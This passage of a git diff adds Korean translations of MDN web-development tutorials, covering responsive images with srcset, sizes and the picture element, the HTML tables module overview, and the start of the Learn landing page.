+<p>게다가, 작은 모바일 화면에서는 페이지에 그렇게 큰 이미지를 포함할 필요가 없다. 이것을 <strong>해상도 전환 문제(resolution switching problem)</strong>라고 부른다. <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">벡터 그래픽 단원</a>에서 배웠듯이, 래스터 이미지[비트맵 이미지 - 역자 주]는 가로 픽셀들과 세로 픽셀들의 세트로 구성된다. 작은 래스터 이미지를 실제 사이즈보다 확대해서 보면 도트가 깨져 보인다(벡터 그래픽은 그렇지 않은데 반해).</p>
+
+<p>역으로, 적당한 크기보다 훨씬 작은 화면에 큰 이미지를 표시 할 필요가 없다. 그렇게 하는 것은 대역폭을 낭비하는 것이다. 특히, 모바일 사용자는 기기에 맞는 작은 이미지 대신 데스크톱에 사용되는 커다른 이미지를 다운로드하느라 대역폭을 낭비하고 싶어하지 않는다. 이상적인 상황은 다양한 해상도를 준비해 두고, 웹사이트 데이터를 받는 기기에 따라 적당한 사이즈를 제공하는 것이다.</p>
+
+<p>상황을 좀더 복잡하게 하면, 어떤 기기는 고해상도 화면이 있어서, 멋지게 보이려면 더 큰 이미지가 필요하다. 이것은 근본적으로 같은 문제지만, 약간 맥락은 다르다.</p>
+
+<p>아마 벡터 이미지가 이 문제를 해결할 것이라고 생각할 지도 모르겠고, 실제로 어느 정도는 그렇기도 하다 — 벡터 이미지는 파일 사이즈도 작고 확대해도 깨지지 않는다. 사용할 수 있다면 언제나 사용해야 한다. 그러나 벡터 이미지가 모든 유형에 맞는 것은 아니다. 간단한 그래픽, 패턴, 인터페이스 요소 등에 적합하지만, 사진 같은 상세한 종류의 이미지를 벡터 기반으로 만들려고 하면 복잡해지기 시작한다. JPEG 같은 래스터 이미지 포맷은 위 예제에 나온 종류의 이미지에 더 적합하다.</p>
+
+<p>이런 종류의 문제는 90년대 초중반에 웹이 처음 등장했을 때는 존재하지 않았다. 당시 웹을 탐색할 수 있는 기기는 데스크톱과 노트북뿐이었기 때문에 브라우저 개발자와 명세 작성자는 해결책 구현에 대한 생각조차 하지 않았다. 브라우저에 여러 개의 이미지 파일들을 제공하는 <em>반응형 이미지 기술</em>은 위에서 지적한 문제를 해결하기 위해 최근에 구현됐다. 픽셀 수가 다르지만 동일한 이미지를 보여주거나(<em>해상도 전환</em>), 다른 공간 점유에 맞는 다른 이미지를 보여 주거나(<em>아트 디렉션</em>).</p>
+
+<div class="note">
+<p><strong>알림</strong>: 이 글에서 다루는 새로운 기능들 — {{htmlattrxref("srcset", "img")}}/{{htmlattrxref("sizes", "img")}}/{{htmlelement("picture")}} — 은 모두 출시된 최신 데스크톱과 모바일 브라우저(인터넷 익스플로러는 구현이 안 돼 있지만, 마이크로소프트 엣지를 포함해)에서 지원된다. </p>
+</div>
+
+<h2 id="반응형_이미지를_어떻게_만들까">반응형 이미지를 어떻게 만들까?</h2>
+
+<p>이 섹션에서는 위에서 설명한 두 가지 문제를 살펴보고 HTML 반응형 이미지 기법을 이용해 문제를 해결하는 방법을 보여 준다. 이 섹션에서는, 위 예제의 본문 영역에서 봤듯, HTML {{htmlelement("img")}}에 초점을 맞출 것이라는 점을 주목하기 바란다(헤더 이미지는 장식용이고, 따라서 CSS 배경 이미지로 구현됐다). <a href="http://blog.cloudfour.com/responsive-images-101-part-8-css-images/">CSS에는 분명 HTML보다 더 나은 반응형 디자인 도구</a>가 있고, 그것은 향후 CSS 모듈에서 다룰 것이다.</p>
+
+<h3 id="해상도_전환_다양한_사이즈">해상도 전환: 다양한 사이즈</h3>
+
+<p>자, 해상도 전환으로 해결하려고 하는 문제는 뭘까? 우리는 기기에 따라 단지 크기만 다른, 동일한 이미지 콘텐츠를 보여 주고 싶다. 우리 예제에서 본문 두 번째 이미지가 직면한 상황이다. 표준 {{htmlelement("img")}} 요소는 전통적으로 브라우저에게 오직 하나의 소스 파일만 제시하도록 돼 있었다.</p>
+
+<pre class="brush: html notranslate">&lt;img src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바"&gt;</pre>
+
+<p>그러나 {{htmlattrxref("srcset", "img")}}과 {{htmlattrxref("sizes", "img")}}라는 두 가지 새로운 속성(attribute)을 사용해 브라우저가 올바른 것을 선택하는 데 도움이 되는 몇 가지 추가 소스 이미지와 힌트를 제공 할 수 있다. 이 예제는 Github의 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> 예제 (<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/responsive.html">소스 코드</a> 참조)에서 볼 수 있다.</p>
+
+<pre class="brush: html notranslate">&lt;img srcset="elva-fairy-320w.jpg 320w,
+             elva-fairy-480w.jpg 480w,
+             elva-fairy-800w.jpg 800w"
+     sizes="(max-width: 320px) 280px,
+            (max-width: 480px) 440px,
+            800px"
+     src="elva-fairy-800w.jpg" alt="요정 옷을 입은 엘바"&gt;</pre>
+
+<p><code>srcset</code>과 <code>sizes</code> 속성은 복잡해 보이지만 위에서 보여 준 것처럼 각 행에 속성 값을 나눠 적으면 이해하기 어렵지 않다. 각 값은 쉼표로 구분한 목록으로 적고, 목록의 각 부분은 세 부분으로 구성된다. 이제 각 내용을 살펴 보자.</p>
+
+<p><strong><code>srcset</code></strong>은 브라우저에게 제시할 이미지 목록과 그 크기를 정의한다. 각 쉼표 앞에 이렇게 적는다.</p>
+
+<ol>
+ <li><strong>이미지 파일명</strong> (<code>elva-fairy-480w.jpg</code>.)</li>
+ <li>공백</li>
+ <li>이미지 <strong>고유 픽셀 너비</strong> (<code>480w</code>) — <code>px</code>이 아니라 <code>w</code> 단위를 사용한다는 데 주의하라. 이것은 이미지의 실제 사이즈인데, 컴퓨터에서 이미지를 확인하면 찾을 수 있다. (예컨대, 맥에서는 파인더에서 이미지를 선택하고 <kbd>Cmd</kbd> + <kbd>I</kbd>를 눌러 정보를 표시 할 수 있다).</li>
+</ol>
+
+
+
+<p><strong><code>sizes</code></strong>는 미디어 조건문들을 정의하고(예를 들면, 화면 크기) 특정 미디어 조건문이 참일 때 어떤 이미지 크기가 최적인지 나타낸다(앞서 언급한 힌트). 이 경우, 각 쉼표 전에 이렇게 쓴다.</p>
+
+<ol>
+ <li><strong>미디어 조건문</strong> (<code>(max-width:480px)</code>) — CSS 주제에서 이에 대해 더 많은 것을 배울 수 있을 테지만, 지금 간단히 말하면, 미디어 조건문은 가능한 화면 상태를 기술한다. 이 경우, 이렇게 말하는 것이다: “뷰포트 너비가 480픽셀 이하”.</li>
+ <li>공백.</li>
+ <li>미디어 조건문이 참인 경우 이미지가 채울 <strong>슬롯의 너비</strong>(<code>440px</code>).</li>
+</ol>
+
+<div class="note">
+<p><strong>알림</strong>: 슬롯 너비로 절대값(<code>px</code>, <code>em</code>)이나 뷰포트에 대한 상대값(<code>vw</code>)을 넣어야 한다. 상대값으로 퍼센트(<code>%</code>)를 넣을 수는 없다. 마지막 슬롯 너비에는 미디어 조건문이 없다는 것을 확인했을 것이다. 이것은 미디어 조건문이 참인 경우가 하나도 없는 것우의 기본값이다. 브라우저는 첫 번째 조건문이 맞으면 나머지 모든 조건문을 무시한다. 따라서 미디어 조건문의 순서에 유의하라.</p>
+</div>
+
+<p>그래서, 이 속성들을 제대로 적으면, 브라우저는 이렇게 할 것이다.</p>
+
+<ol>
+ <li>기기 너비를 확인한다.</li>
+ <li><code>sizes</code> 목록에서 가장 먼저 참이 되는 미디어 조건문을 확인한다.</li>
+ <li>해당 미디어 쿼리가 제공하는 슬롯 크기를 확인한다.</li>
+ <li>해당 슬롯 크기에 가장 근접하게 맞는 <code>srcset</code>에 연결된 이미지를 불러온다.</li>
+</ol>
+
+<p>이게 전부다! 그래서 지금, 이 속성을 지원하는 뷰포트 너비가 480px인 브라우저가 페이지를 불러온다고 하자, <code>(max-width: 480px)</code> 미디어 조건문이 참이 될 것이고, 따라서 <code>440px</code> 슬롯이 선택될 것이다. 그러면 <code>440px</code>에 가장 가까운 고유 너비(<code>480w</code>)가 선택됨에 따라 <code>elva-fairy-480w.jpg</code>가 로딩될 것이다. 800px 사진은 128KB다. 480px 버전은 고작 63KB인데 말이다. 65KB를 절약했다. 사진이 엄청 많은 페이지였다면 어땠을까. 이 기법은 모바일 사용자가 수많은 대역폭을 절약하게 해 준다.</p>
+
+<p>이 기능을 지원하지 않는 낡은 브라우저들은 이 속성들을 무시할 것이다. 그리고 {{htmlattrxref("src", "img")}} 속성에 참조된 보통 이미지를 불러올 것이다.</p>
+
+<div class="note">
+<p><strong>알림</strong>: 문서의 {{htmlelement("head")}}에서 <code>&lt;meta name="viewport" content="width=device-width"&gt;</code> 줄을 찾을 수 있을 것이다. 이것은 모바일 브라우저가 실제 뷰포트 너비로 웹페이지를 보여주도록 강제한다. (몇몇 모바일 브라우저들은 뷰포트 너비를 속인다, 그리고 대신에 더 큰 뷰포트 너비에서 페이지를 불러오고, 불러온 페이지를 축소한다. 이것은 반응형 이미지나 디자인에 별로 도움이 되지 않는다. 이것에 대해서는 향후 더 자세히 다룰 것이다.)</p>
+</div>
+
+<h3 id="유용한_개발_도구">유용한 개발 도구</h3>
+
+<p>브라우저에는 필요한 슬롯 너비, 기타, 필요한 것들을 찾을 수 있게 도와 주는 유용한 <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">개발 도구들</a>이 있다. 나는 우선 반응형이 아닌 일반 버전의 예제를 불러온다(<code>not-responsive.html</code>). 그리고 나서 <a href="https://developer.mozilla.org/en-US/docs/Tools/Responsive_Design_Mode">반응형 디자인 모드</a>(도구 &gt; 웹 개발 도구 &gt; 반응형 디자인 모드)로 간다. 이 모드는 다양한 크기의 기기로 보는 것처럼 웹페이지 레이아웃을 보게 해 준다.</p>
+
+<p>나는 뷰포트 너비를 320px로 했다가 480px로 한다. 각 너비에서 나는 <a href="https://developer.mozilla.org/ko/docs/%EB%8F%84%EA%B5%AC%EB%93%A4/Page_Inspector">DOM 검사기</a>로 가서, 확인하고 싶은 {{htmlelement("img")}} 요소를 클릭한다. 그리고 화면의 오른쪽에 있는 박스 모델 뷰 탭에서 크기를 확인한다. 이렇게 하면 필요한 고유 너비를 알 수 있다.</p>
+
+<p><img alt="A screenshot of the firefox devtools with an image element highlighted in the dom, showing its dimensions as 440 by 293 pixels." src="https://mdn.mozillademos.org/files/12932/box-model-devtools.png" style="display: block; height: 845px; margin: 0px auto; width: 480px;"></p>
+
+<p>다음으로 원하는 뷰포트 너비를 설정해서 어떤 <code>srcset</code>이 작동하는지 체크할 수 있다(예컨대, 좁게 설정할 수 있다). 네트워크 검사기(도구 &gt; 웹 개발 도구 &gt; 네트워크)를 열고, 페이지를 새로 고침 한다. 웹페이지를 만들기 위해 다운로드한 항목들을 보여 주는데, 따라서 어떤 이미지가 사용됐는지 여기서 확인할 수 있다.</p>
+
+<div class="note">
+<p><strong>알림:</strong> 크롬에서 테스트할 때 캐시를 비활성화하라. 개발자 도구를 열고, <strong>Network</strong> 탭의 체크박스들 중 <strong>Disable cache</strong>에 체크하라. 이렇게 하지 않으면 크롬은 최적의 이미지보다 캐시된 이미지를 선호할 것이다.</p>
+</div>
+
+<p><img alt="a screenshot of the network inspector in firefox devtools, showing that the HTML for the page has been downloaded, along with three images, which include the two 800 wide versions of the responsive images" src="https://mdn.mozillademos.org/files/12934/network-devtools.png" style="display: block; height: 630px; margin: 0px auto; width: 600px;"></p>
+
+<h3 id="해상도_전환_같은_크기_다른_해상도">해상도 전환: 같은 크기, 다른 해상도</h3>
+
+<p>만약 다양한 디스플레이 해상도를 지원해야 하는데, 모두가 이미지를 실제 사이즈로 동일하게 봐야 한다면, <code>srcset</code>에 <code>sizes</code> 없이 x-서술자를 사용해 브라우저가 적절한 해상도의 이미지를 선택하게 할 수 있다. 꽤 쉽다. <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">srcset-resolutions.html</a>에서 예제를 찾아 볼 수 있다. (<a href="https://github.com/mdn/learning-area/blob/master/html/multimedia-and-embedding/responsive-images/srcset-resolutions.html">소스 코드</a>도 볼 수 있다.)</p>
+
+<pre class="brush: html notranslate">&lt;img srcset="elva-fairy-320w.jpg,
+             elva-fairy-480w.jpg 1.5x,
+             elva-fairy-640w.jpg 2x"
+     src="elva-fairy-640w.jpg" alt="요정 옷을 입은 엘바"&gt;
+</pre>
+
+<p><img alt="A picture of a little girl dressed up as a fairy, with an old camera film effect applied to the image" src="https://mdn.mozillademos.org/files/12942/resolution-example.png" style="display: block; height: 425px; margin: 0px auto; width: 480px;">이 예에서, 다음 CSS가 이미지에 적용되고, 따라서 화면에서 너비는 320px이 된다(CSS 픽셀이라고 부르기도 한다).</p>
+
+<pre class="brush: css notranslate">img {
+  width: 320px;
+}</pre>
+
+<p>이 경우 sizes는 필요 없다. 브라우저는 단순히 보이는 해상도가 얼마인지는 확인하고 <code>srcset</code>에 참조돼 있는 것들 중 가장 적합한 이미지를 제공한다. 따라서 기기의 1픽셀이 CSS의 1필셀에 대응되는, 보통/낮은 해상도 디스플레이의 기기가 페이지에 접속하면, <code>elva-fairy-320w.jpg</code>가 로드될 것이다(1x가 적용됐고, 그걸 명시해서 적을 필요는 없다). 만약 기기의 2픽셀이 CSS 1픽셀에 해당하는 고해상도 기기라면, <code>elva-fairy-640w.jpg</code>가 로드될 것이다. 640px 이미지는 93KB다. 320px 이미지는 39KB밖에 안 된다.</p>
+
+<h3 id="아트_디렉션">아트 디렉션</h3>
+
+<p>다시 말하면, <strong>아트 디렉션 문제</strong>는 서로 다른 이미지 디스플레이 사이즈에 맞추기 위해 디스플레이된 이미지를 변경하고자 하는 것과 관련있다. 예를 들면, 웹사이트에 데스크톱 브라우저로 들어오면 가운데 한 사람이 있는 커다란 가로 사진이 있다. 그런데 모바일 브라우저로 줄여서 보면 사람이 보기 힘들 정도로 정말 작아진다. 사람이 확대된 좀더 작은 세로 사진으로 보여 주는 게 더 나을 것이다. {{htmlelement("picture")}} 요소가 이런 종류의 해결책을 구현하게 해 준다.</p>
+
+<p>원래의 <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/not-responsive.html">not-responsive.html</a> 예제로 돌아가 보자. 아트 디렉션이 절실히 필요한 사진이 있다.</p>
+
+<pre class="brush: html notranslate">&lt;img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스"&gt;</pre>
+
+<p>{{htmlelement("picture")}}를 이용해 고쳐 보자! <a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content"><code>&lt;video&gt;</code>와 <code>&lt;audio&gt;</code></a> 처럼, &lt;picture&gt; 요소는 {{htmlelement("source")}} 요소들을 감싼다. <code>source</code> 요소는 브라우저가 고를 수 있는 여러 소스들을 제공한다. <code>soucre</code> 요소들 뒤에는 가장 중요한 {{htmlelement("img")}} 요소가 뒤따른다. <a href="http://mdn.github.io/learning-area/html/multimedia-and-embedding/responsive-images/responsive.html">responsive.html</a> 코드는 이렇다.</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source media="(max-width: 799px)" srcset="elva-480w-close-portrait.jpg"&gt;
+  &lt;source media="(min-width: 800px)" srcset="elva-800w.jpg"&gt;
+  &lt;img src="elva-800w.jpg" alt="딸 엘바를 안고 서 있는 크리스"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li><code>&lt;source&gt;</code> 요소에는 미디어 조건문이 있는 <code>media</code> 속성이 있다 — 처음에 살펴 봤던 <code>srcset</code> 예제처럼, 이 조건들도 어떤 이미지를 보여 줄 지 결정하는 데 사용한다 — 참을 리턴하는 첫 번째 것이 표시된다. 이 경우, 만약 뷰포트 너비가 799px 이하라면, 첫 번째 <code>&lt;source&gt;</code> 요소의 이미지가 표시될 것이다. 만약 뷰포트 너비가 800px 이상이라면, 두 번째 것을 보여 줄 것이다.</li>
+ <li>srcset 속성에는 보여 줄 이미지 경로가 있었다. 위의 <code>&lt;img&gt;</code>에서 살펴 봤듯이, <code>&lt;source&gt;</code>도 여러 참조 이미지와 <code>sizes</code> 속성을 <code>srcset</code> 속성에 넣을 수 있다. 따라서 우리는 이미지 여러 개를 <code>&lt;picture&gt;</code> 요소에서 제공할 수 있다. 하지만 그렇게 되면 각각 다양한 해상도도 제공해야 할 것이다. 현실적으로, 이런 일을 자주 하고 싶지는 않을 것이다.</li>
+ <li>이 모든 경우, <code>src</code>와 <code>alt</code> 속성이 있는 <code>&lt;img&gt;</code> 요소를 <code>&lt;/picture&gt;</code> 바로 앞에 반드시 제공해야 한다. 그렇지 않으면 이미지가 표시되지 않을 것이다. 이것은 참을 리턴하는 미디어 조건문이 없는 경우 기본 이미지를 제공하는 것이다(실제 이 예제에서 두 번째 <code>&lt;source&gt;</code> 요소는 제거해도 된다). 그리고 &lt;picture&gt; 요소를 지원하지 않는 브라우저에 대체제를 제공하는 것이기도 하다.</li>
+</ul>
+
+<p>이 코드는 넓은 화면과 좁은 화면 둘 다에서 적절한 이미지를 표시하게 해 준다. 아래를 보자.</p>
+
+<p><img alt="Our example site as viewed on a wide screen - here the first image works ok, as it is big enough to see the detail in the center." src="https://mdn.mozillademos.org/files/12940/picture-element-wide.png" style="display: block; height: 554px; margin: 0px auto; width: 700px;"><img alt="Our example site as viewed on a narrow screen with the picture element used to switch the first image to a portrait close up of the detail, making it a lot more useful on a narrow screen" src="https://mdn.mozillademos.org/files/12938/picture-element-narrow.png" style="display: block; height: 710px; margin: 0px auto; width: 320px;"></p>
+
+<div class="note">
+<p><strong>알림</strong>: 미디어 속성은 아트 디렉션 시나리오에서만 사용하라. 만약 미디어를 사용한다면, 미디어 조건문을 사이즈 속성에 넣지 마라.</p>
+</div>
+
+<h3 id="왜_CSS나_자바스크립트를_이용해_이렇게_할_수_없는가">왜 CSS나 자바스크립트를 이용해 이렇게 할 수 없는가?</h3>
+
+<p>브라우저가 페이지를 불러오기 시작할 때, 메인 파서가 CSS와 자바스크립트를 로드하고 해석하기 전에 이미지들을 다운로드(미리 불러오기)하기 시작한다. 이렇게 하는 것은 평균적으로 페이지 로딩 시간을 20%쯤 단축시켜주는 유용한 기법이다. 그러나 반응형 이미지에는 도움이 안 된다. 따라서 <code>srcset</code> 같은 해결책을 구현해야 한다. 예를 들면, {{htmlelement("img")}} 요소를 불러온 후, 자바스크립트로 뷰포트 너비를 감지하고, 필요하면 더 작은 소스 이미지로 동적으로 바꾸는 식으로 할 수 없다. 그 시점에, 원래의 이미지가 이미 로드된 상태고, 작은 이미지까지 불러와야 한다. 반응형 이미지 관점에서 더 나쁘다.</p>
+
+<ul>
+</ul>
+
+<h3 id="최신_이미지_포맷을_대담하게_사용하라">최신 이미지 포맷을 대담하게 사용하라</h3>
+
+<p>흥미로운 새 이미지 포맷들이 있다(WebP나 JPEG-2000). 이 포맷들은 작은 용량과 높은 질을 동시에 유지할 수 있게 해 준다. 그러나 브라우저 지원에 구멍이 많다.</p>
+
+<p><code>&lt;picture&gt;</code>는 상대적으로 낡은 브라우저들의 욕구도 채워 준다. 우리는 <code>type</code> 속성 안에 마임타입을 제공해 브라우저가 지원하지 않는 파일 유형을 즉시 거부하도록 할 수 있다.</p>
+
+<pre class="brush: html notranslate">&lt;picture&gt;
+  &lt;source type="image/svg+xml" srcset="pyramid.svg"&gt;
+  &lt;source type="image/webp" srcset="pyramid.webp"&gt;
+  &lt;img src="pyramid.png" alt="정삼각형 4개로 만든 일반적인 피라미드"&gt;
+&lt;/picture&gt;
+</pre>
+
+<ul>
+ <li>아트 디렉션이 필요한 경우가 아니라면 <code>media</code> 속성을 사용하지 마라.</li>
+ <li><code>&lt;source&gt;</code> 요소에서, <code>type</code>에 유형을 선언한 이미지만 사용할 수 있다.</li>
+ <li>앞서 다뤘듯, 필요에 따라 <code>srcset</code>과 <code>sizes</code>에 쉼표로 구분한 목록을 얼마든 사용할 수 있다.</li>
+</ul>
+
+<h2 id="능동적_학습_나만의_반응형_이미지_구현">능동적 학습: 나만의 반응형 이미지 구현</h2>
+
+<p>능동적 학습을 위해, 우리는 당신이 용기를 내 홀로 해 보길 기대한다. (... 대개는.) 우리는 당신이 <code>&lt;picture&gt;</code>를 이용해 자신만의 딱 맞는 좁은 화면용/넓은 화면용 아트 디렉션 샷을 구현하고, <code>srcset</code>을 사용하는 해상도 전환 예제를 구현하길 바란다.</p>
+
+<ol>
+ <li>자기 코드가 있는 간단한 HTML을 작성하라(원한다면 <code>not-responsive.html</code>를 시작점으로 삼자).</li>
+ <li>어딘가에 상세한 부분이 있는 멋진 가로 풍경 사진을 찾아라. 그래픽 편집기를 이용해 웹 사이즈 버전을 만들고, 상세한 부분을 확대해 보여줄 수 있도록 그걸 더 작게 잘라서 두 번째 이미지를 만들자(대략 480px 정도면 적당하다).</li>
+ <li><code>srcset</code>/<code>size</code>를 사용해, 서로 다른 해상도에서 같은 크기의 이미지를 제공하거나 서로 다른 뷰포트 너비에서 서로 다른 크기 이미지를 제공하는 해상도 전환 예제를 만들자.</li>
+</ol>
+
+<div class="note">
+<p><strong>알림</strong>: 위에서 보여 줬듯이, 브라우저 개발자 도구를 사용해 필요한 크기가 얼마인지 찾아내는 데 도움을 얻자.</p>
+</div>
+
+<h2 id="정리">정리</h2>
+
+<p>이것이 반응형 이미지의 비밀이다. 이 새로운 기법을 즐기길 바란다. 핵심을 되짚다면, 우리가 다룬 두 가지 구분된 문제가 있다.</p>
+
+<ul>
+ <li><strong>아트 디렉션</strong>: 다양한 레이아웃에 자른 이미지를 제공하고자 하는 문제. 예를 들면, 데스크톱 레이아웃에서 전체 풍경을 보여 주는 가로 이미지와 모바일 레이아웃에서 주요 대상을 좀더 가깝게 확대해서 보여 주는 세로 이미지. {{htmlelement("picture")}} 요소를 이용해 해결할 수 있다.</li>
+ <li><strong>해상도 전환</strong>: 데스크톱 디스플레이와 달리 커다란 이미지가 필요치 않은 좁은 화면 기기에 더 작은 이미지 파일을 제공하고자 하는 문제. 그리고 또한 선택적으로 다양한 해상도 이미지를 고밀도/저밀도 화면에 제공하고자 하는 문제. 이것은 <a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">벡터 그래픽</a>(SVG 이미지), {{htmlattrxref("srcset", "img")}}와 {{htmlattrxref("sizes", "img")}} 속성을 이용해 해결할 수 있다.</li>
+</ul>
+
+<p>이것으로 전체 <a href="/ko/docs/Learn/HTML/Multimedia_and_embedding">멀티미디어와 엠베딩</a> 모듈을 끝냈다! 남은 것은 멀티미디어 평가를 치르는 것뿐이다. 얼마나 배웠는지 확인해 보자. 즐겁게 진행하기를!</p>
+
+<h2 id="더_알아_보기">더 알아 보기</h2>
+
+<ul>
+ <li><a href="http://blog.cloudfour.com/responsive-images-101-definitions">제이슨 그릭스비의 훌륭한 반응형 이미지 소개</a></li>
+ <li><a href="https://css-tricks.com/responsive-images-youre-just-changing-resolutions-use-srcset/">반응형 이미지: 해상도를 변경할 뿐이라면, srcset을 사용하라</a> — 브라우저가 어떤 이미지를 사용할지 고르는 방법에 대한 더 상세한 설명 포함</li>
+ <li>{{htmlelement("img")}}</li>
+ <li>{{htmlelement("picture")}}</li>
+ <li>{{htmlelement("source")}}</li>
+</ul>
+
+<div>{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web", "Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page", "Learn/HTML/Multimedia_and_embedding")}}</div>
+
+<div>
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/HTML/Multimedia_and_embedding/Images_in_HTML">HTML의 이미지</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Video_and_audio_content">Video and audio content</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies">From &lt;object&gt; to &lt;iframe&gt; — other embedding technologies</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Adding_vector_graphics_to_the_Web">Adding vector graphics to the Web</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Responsive images</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">Mozilla splash page</a></li>
+</ul>
+</div>
diff --git a/files/ko/learn/html/tables/index.html b/files/ko/learn/html/tables/index.html
new file mode 100644
index 0000000000..72964f0907
--- /dev/null
+++ b/files/ko/learn/html/tables/index.html
@@ -0,0 +1,42 @@
+---
+title: HTML tables
+slug: Learn/HTML/Tables
+tags:
+  - HTML
+  - 가이드
+  - 모듈
+  - 초보자
+  - 테이블
+translation_of: Learn/HTML/Tables
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">HTML에서 매우 일반적인 작업으로 표 형식의 데이터를 구조화하는 것이며, 이 목적을 위해 여러 요소와 속성을 가지고 있습니다. 스타일링을 위해 약간의 CSS 와 HTML을 함께 사용하면 학교 수업 계획, 지역 수영장 시간표 또는 좋아하는 공룡이나 축구 팀 통계와 같은 웹 테이블 정보를 쉽게 표시 할 수 있습니다. 이 모듈은  HTML을 사용하여 표 형식의 데이터를 구성하는데 필요한 모든 정보를 제공 합니다.</p>
+
+<h2 id="전제조건">전제조건</h2>
+
+<p>이 모듈을 시작하기 전에, 당신은 이미 HTML의 기본 지식을 가지고 있어야 합니다. — <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>.</p>
+
+<div class="note">
+<p><strong>노트</strong>: 컴퓨터/태블릿/기타 장치에서 자신만의 파일들을 생성 할 수 없다면, 대부분의 예제 코드는 <a href="http://jsbin.com/">JSBin</a> 또는 <a href="https://thimble.mozilla.org/">Thimble</a> 같은 온라인 코딩 프로그램에서 시도해 볼 수 있습니다.</p>
+</div>
+
+<h2 id="가이드">가이드</h2>
+
+<p>이 모듈은 다음의 내용을 담고 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Tables/Basics">HTML 테이블 기본</a></dt>
+ <dd>이 내용에서는 행(row)과 셀(cell), 머리말, 셀을 여러 열(col)과 행(row)으로 확장(span)하는 것과 같은 기본 사항을 다루는 HTML 표를 시작하고 스타일 지정을 위해 열의 모든 셀을 함께 그룹화하는 방법에 대해 설명합니다.</dd>
+ <dt><a href="/ko/docs/Learn/HTML/Tables/Advanced">HTML 테이블 고급 기능 및 접근성</a></dt>
+ <dd>
+ <p>이 모듈의 두 번째 내용에서는 HTML 테이블의 캡션/요약 및 행을 테이블 머리, 본문 및 바닥글 세션으로 그룹화 하는 것과 같은 몇 가지 고급 기능을 살펴볼 뿐만 아니라 시각 장애가 있는 사용자를 위한 테이블의 접근성도 살펴보게 됩니다.</p>
+ </dd>
+</dl>
+
+<h2 id="평가">평가</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/HTML/Tables/Structuring_planet_data">행성 데이터 구성</a></dt>
+ <dd>우리의 테이블 평가에서 태양계의 행성에 대한 데이터 일부를 당신에게 제공하며, 그것을 가지고 HTML 테이블로 구성 하도록 합니다.</dd>
+</dl>
diff --git a/files/ko/learn/index.html b/files/ko/learn/index.html
new file mode 100644
index 0000000000..ce9e422ff5
--- /dev/null
+++ b/files/ko/learn/index.html
@@ -0,0 +1,167 @@
+---
+title: Web 개발 학습하기
+slug: Learn
+tags:
+  - Beginner
+  - CSS
+  - HTML
+  - Index
+  - Intro
+  - Landing
+  - Learn
+  - Web
+  - 웹
+  - 초보자
+  - 학습
+translation_of: Learn
+---
+<div>{{LearnSidebar}}</div>
+
+<div>
+<p class="summary">환영합니다! 이곳에서 다루는 문서들은 웹개발을 처음 접하는 초보자를 대상으로 합니다. 그리고 간단한 웹사이트를 만들기 위해 필요한 모든 것들을 담고 있습니다.</p>
+</div>
+
+<p>여기에서는 여러분을 "초보자"에서 "전문가"로 이끄는 걸 목표로 하지 않습니다. 다만, 여러분을 "초보자"에서 "익숙한 단계"로 이끄는 걸 목표로 합니다. 그 이후에는 자신만의 스타일을 찾아야만 합니다. 그리고 그때 보게 될 <a href="https://developer.mozilla.org/ko">MDN의 나머지 문서들</a>이나 다른 문서들은 많은 사전지식을 필요로 할 것입니다.<br>
+ <br>
+ 코딩을 처음 접하는 분들에게 웹개발은 어려울 수 있습니다(그렇지만 저희가 최선을 다해 설명해드릴께요!). 그렇지만 당신이 웹 개발을 배우고 싶은 학생이든, 수업 자료를 찾는 선생님이든, 그리고 취미로 웹기술을 알고 싶은 사람이든 상관없이 편하게 공부할 수 있도록 하겠습니다.</p>
+
+<h2 id="새로운_콘텐츠">새로운 콘텐츠?</h2>
+
+<p>이 곳의 내용은 정기적으로 추가되고 있습니다. 변경점을 추적하기 위해 <a href="/en-US/docs/Learn/Release_notes">Learning area release note</a>를 관리하기 시작했으니, 정기적으로 확인해주세요!</p>
+
+<p>원하는 주제나 빠진 것 같은 부분에 대한 질문은 저희의 <a href="https://discourse.mozilla.org/c/mdn">Discourse 포럼</a>에 남겨주세요.</p>
+
+<h2 id="어디서_시작해야_하나">어디서 시작해야 하나</h2>
+
+<ul class="card-grid">
+ <li><span>완전 초보라면</span>
+
+  <p> 웹개발을 처음 하신다면 <a href="/ko/docs/Learn/Getting_started_with_the_web" style="background-color: rgba(234, 239, 242, 0.498039);">"웹 개발 시작하기"</a> 를 추천합니다. 웹 개발에 대한 실용적인 정보를 제공하고 있습니다.</p>
+ </li>
+ <li><span>질문이 있으면</span>
+  <p>웹개발에 대한 질문은 <a href="/ko/docs/Learn/Common_questions">Common question</a>를 살펴보시길 바랍니다. 도움이 될만한 정보가 있을 것입니다.</p>
+ </li>
+ <li><span>초보적인 지식에서 나아가기</span>
